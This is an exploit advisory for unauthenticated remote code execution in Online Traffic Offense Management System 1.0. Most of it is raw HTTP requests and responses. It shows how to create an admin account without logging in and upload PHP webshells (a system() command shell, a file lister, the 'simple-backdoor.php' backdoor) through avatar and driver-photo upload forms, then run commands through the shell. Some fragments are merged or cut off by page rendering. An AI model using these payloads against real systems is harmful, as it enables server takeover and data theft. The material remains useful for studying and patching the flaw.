Online Traffic Offense Management System 1.0 – Multiple RCE (Unauthenticated)
# Exploit Title: Online Traffic Offense Management System 1.0 - Multiple RCE (Unauthenticated) # Date: 07/10/2021 # Exploit Author: Hubert Wojciechowski # Contact Author: snup.php@gmail.com # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html # Version: 1.0 # Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 ### RCE - Remote Code Execution # All requests can be sent by both an authenticated and a non-authenticated user # RCE - we can exploit the RCE vulnerability in several ways: * Drivers List can add any attachment as photo - http://localhost/traffic_offense/classes/Master.php?f=save_driver * System information file add as system logo or portal cover - http://localhost/traffic_offense/admin/?page=system_info * User profile edit avatar - http://localhost/traffic_offense/admin/?page=user * Make new user and add evil avatar - http://localhost/traffic_offense/admin/?page=user/manage_user * Edit other user and change his avatar to webshell - http://localhost/traffic_offense/admin/?page=user/manage_user&id=2 ----------------------------------------------------------------------------------------------------------------------- # POC ----------------------------------------------------------------------------------------------------------------------- ## Example 1 # Request send as Unauthenticated user POST /traffic_offense/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------210106920639395210803657370685 Content-Length: 1184 Origin: http://localhost Connection: close Referer: http://localhost/traffic_offense/admin/?page=user/manage_user Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------210106920639395210803657370685 Content-Disposition: form-data; name="id" -----------------------------210106920639395210803657370685 Content-Disposition: form-data; name="firstname" hacked -----------------------------210106920639395210803657370685 Content-Disposition: form-data; name="lastname" hacked -----------------------------210106920639395210803657370685 Content-Disposition: form-data; name="username" hacked -----------------------------210106920639395210803657370685 Content-Disposition: form-data; name="password" hacked -----------------------------210106920639395210803657370685 Content-Disposition: form-data; name="type" 1 -----------------------------210106920639395210803657370685 Content-Disposition: form-data; name="img"; filename="cmd.php" Content-Type: application/octet-stream
-----------------------------210106920639395210803657370685-- ----------------------------------------------------------------------------------------------------------------------- # Response HTTP/1.1 200 OK Date: Thu, 07 Oct 2021 07:59:24 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 X-Powered-By: PHP/7.4.23 Set-Cookie: PHPSESSID=97gjq4viadndhvi8hvsk9d7v7i; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 1 Connection: close Content-Type: text/html; charset=UTF-8 1 ----------------------------------------------------------------------------------------------------------------------- # The file was uploaded to the uploads directory # Request to list files in uploads\ GET /traffic_offense/uploads/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate ----------------------------------------------------------------------------------------------------------------------- # Response HTTP/1.1 200 OK Date: Thu, 07 Oct 2021 08:06:35 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 Access-Control-Allow-Origin: * Content-Length: 2139 Content-Type: text/html;charset=UTF-8
Index of /traffic_offense/uploads
<?php if($_REQUEST['x']) { system($_REQUEST['x']); } else phpinfo(); ?> |
Index of /traffic_offense/uploads
| Name | Last modified | Size | Description | ||
|---|---|---|---|---|---|
| Parent Directory | - | ||||
| 1629336240_avatar.jpg | 2021-08-19 09:24 | 11K | |||
| 1629421080_tl-logo.png | 2021-08-20 08:58 | 5.2K | |||
| 1633584660_xss.svg | 2021-10-07 07:31 | 3.4K | |||
| 1633593540_cmd.php | [...] ----------------------------------------------------------------------------------------------------------------------- # Request to webshell GET /traffic_offense/uploads/1633593540_cmd.php?x=dir HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close ----------------------------------------------------------------------------------------------------------------------- # Response HTTP/1.1 200 OK Date: Thu, 07 Oct 2021 08:10:10 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 X-Powered-By: PHP/7.4.23 Access-Control-Allow-Origin: * Content-Length: 810 Connection: close Content-Type: text/html; charset=UTF-8|||||
Volume in drive C has no label. Volume Serial Number is 283C-C6A0 Directory of C:\xampp\htdocs\traffic_offense\uploads 07.10.2021 10:09 <DIR> . 07.10.2021 10:09 <DIR> .. 19.08.2021 09:24 11ÿ426 1629336240_avatar.jpg 20.08.2021 08:58 5ÿ288 1629421080_tl-logo.png 07.10.2021 07:31 3ÿ451 1633584660_xss.svg 07.10.2021 09:59 252 1633593540_cmd.php 07.10.2021 10:02 252 1633593720_cmd.php 07.10.2021 09:02 <DIR> drivers 5 File(s) 20ÿ669 bytes 3 Dir(s) 86ÿ494ÿ085ÿ120 bytes free |
About Us
Sample only
-----------------------------339921602532596419562348365833 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream -----------------------------339921602532596419562348365833 Content-Disposition: form-data; name="img"; filename="cmd.php" Content-Type: application/octet-stream<?php if($_REQUEST['x']) { system($_REQUEST['x']); } else phpinfo(); ?> |
"; } closedir($handle); } else { echo "FILE: " . $fichero . "
"; $fp = fopen($fichero, "r"); $buffer = fread($fp, filesize($fichero)); echo $buffer; fclose($fp); } ?> -----------------------------339921602532596419562348365833-- ----------------------------------------------------------------------------------------------------------------------- # Response HTTP/1.1 200 OK Date: Thu, 07 Oct 2021 08:21:35 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 X-Powered-By: PHP/7.4.23 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 1 Connection: close Content-Type: text/html; charset=UTF-8 1 ----------------------------------------------------------------------------------------------------------------------- # The situation is the same as in the previous variant. Two files ripped into the uploads directory, 1633595040_list.php and 1633595040_cmd.php ## Example 3 # Webshell as photo in driver list page # Request POST /traffic_offense/classes/Master.php?f=save_driver HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------12210274961293066124133837204 Content-Length: 2148 Origin: http://localhost Connection: close Referer: http://localhost/traffic_offense/admin/?page=drivers/manage_driver Cookie: PHPSESSID=97gjq4viadndhvi8hvsk9d7v7i Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="id" -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="license_id_no" vvvvvv -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="lastname" vvvvvvvvvvv -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="firstname" vvv -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="middlename" vvvvvvvvvvvvv -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="dob" 2021-10-07 -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="present_address" vvvv -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="permanent_address" vvvvvvv -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="civil_status" Single -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="nationality" vvvvvvvvv -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="contact" vvvvvvvv -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="license_type" Student -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="image_path" -----------------------------12210274961293066124133837204 Content-Disposition: form-data; name="img"; filename="simple-backdoor.php" Content-Type: application/octet-stream <!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo " |
desktop-uhrf0c6\hubert |